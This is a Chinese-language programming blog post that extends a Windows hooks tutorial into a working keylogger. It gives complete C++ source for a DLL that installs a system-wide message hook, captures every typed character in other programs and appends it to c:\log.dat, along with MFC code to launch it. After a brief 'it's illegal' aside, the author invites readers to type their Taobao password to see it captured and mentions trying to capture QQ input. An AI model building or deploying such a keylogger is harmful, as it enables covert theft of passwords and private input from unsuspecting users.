HOOK编程之获得键盘输入字符并写入文件

    按照孙鑫老师的讲解，我们可以额外的在此基础上添加获得键盘输入字符，并且写入文件，以此来“偷窥用户的输入-千万不要这么做，会犯法的“....多的不说了，只需要在孙老师的代码上加上
    SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);

    Hook动态库的详细代码：hook.cpp

#include <windows.h>
#include <stdio.h>

HHOOK g_hMouse=NULL;
HHOOK g_hKeyboard=NULL;
HHOOK g_hMessage=NULL;

#pragma data_seg("MySec")
HWND g_hWnd=NULL;
#pragma data_seg()

//#pragma comment(linker,"/section:MySec,RWS")
/*HINSTANCE g_hInst;

BOOL WINAPI DllMain(
  HINSTANCE hinstDLL, // handle to the DLL module
  DWORD fdwReason, // reason for calling function
  LPVOID lpvReserved // reserved
)
{
    g_hInst=hinstDLL;
}*/

LRESULT CALLBACK MouseProc(
  int nCode, // hook code
  WPARAM wParam, // message identifier
  LPARAM lParam // mouse coordinates
)
{
    UnhookWindowsHookEx(g_hMouse);    ///< 这样“钩子”就失效了
    return 1;
}

LRESULT CALLBACK KeyboardProc(
  int nCode, // hook code
  WPARAM wParam, // virtual-key code
  LPARAM lParam // keystroke-message information
)
{
    //UnhookWindowsHookEx(g_hKeyboard);    ///< 这样“钩子”就失效了
    if(VK_F2==wParam)
    {
        SendMessage(g_hWnd,WM_CLOSE,0,0);
        UnhookWindowsHookEx(g_hMouse);
        UnhookWindowsHookEx(g_hKeyboard);
    }
    return 0;
}

LRESULT CALLBACK GetMsgProc(
    int nCode, // hook code
    WPARAM wParam, // virtual-key code
    LPARAM lParam // keystroke-message information
 )
{
    if(nCode == HC_ACTION)
    {
        MSG * pMsg = (MSG *) lParam;
        if (pMsg->message == WM_CHAR)
        {
            //MessageBox(NULL,"ok","HOOKDLL",MB_OK);
            char ch = (char)pMsg->wParam;
            char pCh[2] = {0};
            pCh[0] = ch;
            pCh[1] = '\0';

            FILE * pFile = fopen("c:\\log.dat", "a+");
            fwrite(pCh, 1, strlen(pCh), pFile);
            fclose(pFile);
        }
    }
    return CallNextHookEx(g_hMessage, nCode, wParam, lParam);
}

void SetHook(HWND hwnd)
{
    g_hWnd=hwnd;
    g_hMouse=SetWindowsHookEx(WH_MOUSE,MouseProc,GetModuleHandle("Hook"),0);
    g_hKeyboard=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,GetModuleHandle("Hook"),0);
    g_hMessage=SetWindowsHookEx(WH_GETMESSAGE,GetMsgProc,GetModuleHandle("Hook"),0);
}

    Hook动态库的详细代码：hook.def

LIBRARY Hook
EXPORTS
SetHook        @2
SEGMENTS
MySec    READ WRITE SHARED

    编译一下，生成.dll和.lib，至于区别，资料看起！

    新建一个对话框工程，设置链接路径，.lib的，然后拷贝上面生成的hook.dll到当前工程目录，(OnInitDialog中)引用方式：
    /////////////////////////////////////////////////////////////////////////////
   // CHookTestDlg message handlers
  _declspec(dllimport) void SetHook(HWND hwnd);

    然后一调：

BOOL CHookTestDlg::OnInitDialog()
{
    CDialog::OnInitDialog();

    // Add "About..." menu item to system menu.

    // IDM_ABOUTBOX must be in the system command range.
    ASSERT((IDM_ABOUTBOX & 0xFFF0) == IDM_ABOUTBOX);
    ASSERT(IDM_ABOUTBOX < 0xF000);

    CMenu* pSysMenu = GetSystemMenu(FALSE);
    if (pSysMenu != NULL)
    {
        CString strAboutMenu;
        strAboutMenu.LoadString(IDS_ABOUTBOX);
        if (!strAboutMenu.IsEmpty())
        {
            pSysMenu->AppendMenu(MF_SEPARATOR);
            pSysMenu->AppendMenu(MF_STRING, IDM_ABOUTBOX, strAboutMenu);
        }
    }

    // Set the icon for this dialog. The framework does this automatically
    // when the application's main window is not a dialog
    SetIcon(m_hIcon, TRUE);            // Set big icon
    SetIcon(m_hIcon, FALSE);        // Set small icon

    // TODO: Add extra initialization here
    int cxScreen,cyScreen;
    cxScreen=GetSystemMetrics(SM_CXSCREEN);
    cyScreen=GetSystemMetrics(SM_CYSCREEN);
    SetWindowPos(&wndTopMost,0,0,cxScreen/2,cyScreen/2,SWP_SHOWWINDOW);
    SetHook(m_hWnd);
    return TRUE; // return TRUE unless you set the focus to a control
}

    允许，然后去淘宝网站输入你的密码，你的键盘字符就被存了起来了！有证据(xxxx我自己改的，不想泄漏真实的)  
    但是对于qq输入框，无法获得其键盘消息！应该是qq自身截获了WM_CHAR消息或者啥的！所以本来想测试下qq，但是不行！
   或许有其他办法？？？不知道了.......【估计还有高深的背后...】